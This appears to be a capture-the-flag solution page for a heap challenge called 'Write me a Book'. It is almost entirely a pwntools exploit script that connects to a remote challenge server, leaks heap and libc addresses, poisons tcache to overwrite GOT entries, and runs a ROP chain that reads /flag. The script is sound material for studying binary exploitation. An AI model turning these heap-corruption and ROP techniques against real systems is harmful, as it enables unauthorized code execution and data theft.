5th place

Write me a Book

First blood ^ ^

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

io = remote('34.124.157.94', 12346)
context.binary = 'chall'
elf = ELF('chall', checksec = False)
libc = ELF('./lib/libc.so.6', checksec = False)

ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def menu(choice):
sla('Option: ', str(choice))

def add(idx, content):
menu(1)
sla('Index: ', str(idx))
sa('Write me a book no more than 32 characters long!\n', content)

def edit(idx, content):
menu(2)
sla('Index: ', str(idx))
sa('Write me the new contents of your book that is no longer than what it was before.\n', content)

def delete(idx):
menu(3)
sla('Index: ', str(idx))

def gift(idx):
menu(1337)
sla('What is your favourite number? ', str(idx))

sla('> ', 'a' * 5 + flat(0x41)[:-1])
add(1, 'a')
gift(1)
ru('You found a secret message: ')
heap_base = int(ru('\n'), 16) - (0x1837d10 - 0x1834000)
key = heap_base >> 12
add(2, 'a')
add(3, 'a')
add(4, 'a' * 0x20)
edit(1, 'a' * 0x10)
delete(2)
add(2, 'a' * 0x20)
key += 3
pld = flat({
0x18: 0x41,
0x20: key ^ 0x00000000004040C0,
0x28: 'a' * 8
}, filler = '\x00')
edit(2, pld)
delete(4)
delete(3)
edit(2, pld)
add(3, 'a' * 0x20)
pld = flat({
0x20: 0x300,
0x28: 0x0000000000404018
}, filler = '\x00')
add(4, 'a' * 0x20)
edit(4, pld)
edit(1, flat(0x0000000000401150))
pld = flat({
0x20: 0x300,
0x28: 0x404030
}, filler = '\x00')
edit(4, pld)
delete(1)
libc_base = uu64(ru('\n')) - (0x7fa8b29bced0 - 0x7fa8b293c000)
open_addr = libc_sym('open')
write_addr = libc_sym('write')
read_addr = libc_sym('read')
pop_rdi = libc_os(0x000000000002a3e5)
pop_rsi = libc_os(0x000000000002be51)
pop_rdx_r12 = libc_os(0x000000000011f497)
pop_rax = libc_os(0x0000000000045eb0)
syscall = 0x000000000040130a
rop_chain = flat([
pop_rax,
2,
pop_rdi,
0x00000000004040A0 + 0x400,
pop_rsi,
0,
syscall,
0,
pop_rdi,
3,
pop_rsi,
0x00000000004040A0 + 0x500,
pop_rdx_r12,
0x30,
0,
read_addr,
pop_rdi,
1,
write_addr
])
rop_chain = rop_chain.ljust(0x100, '\x00')
rop_chain += '/flag\x00'
pld = flat({
0x20: 0x300,
0x28: 0x00000000004040A0 + 0x300
}, filler = '\x00')
edit(4, pld)
edit(1, rop_chain)
gadget = libc_os(0x7fbb822dd1fa - 0x7fbb82173000)
pld = flat({
0x20: 0x300,
0x28: 0x0000000000404018
}, filler = '\x00')
edit(4, pld)
edit(1, flat(gadget))

pld = flat({
0x20: 0x300,
0x28: 0x00000000004040A0 + 0x200
}, filler = '\x00')
edit(4, pld)
pld = flat({
0: 0x00000000004040A0 + 0x2f8,
8: 0x00000000004014bc,
0x18: 0x00000000004040A0 + 0x200,
0x28: 0x00000000004014bc,
0x48: 0x00000000004040A0 + 0x200,
})
edit(1, pld)
delete(1)

ia()